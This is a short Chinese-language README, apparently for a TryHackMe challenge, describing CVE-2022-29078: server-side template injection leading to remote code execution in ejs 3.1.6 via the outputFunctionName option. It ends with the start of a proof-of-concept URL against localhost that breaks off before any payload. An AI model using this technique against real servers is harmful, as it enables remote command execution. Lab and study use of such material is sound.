CVE-2022-29078

THM 挑战：SSTI RCE 📜 描述 Node.js 的 ejs（即嵌入式 JavaScript 模板）包 3.1.6 版本在 settingsview optionsoutputFunctionName 中允许服务端模板注入。它被解析为内部选项，并用任意操作系统命令重写 outputFunctionName 选项（该命令在模板编译时执行）。 📚 目录 📜 描述 🛠️ 安装 💁 参考 POC root@kitploit: http://localhost:3000/page?id=2&settingsview...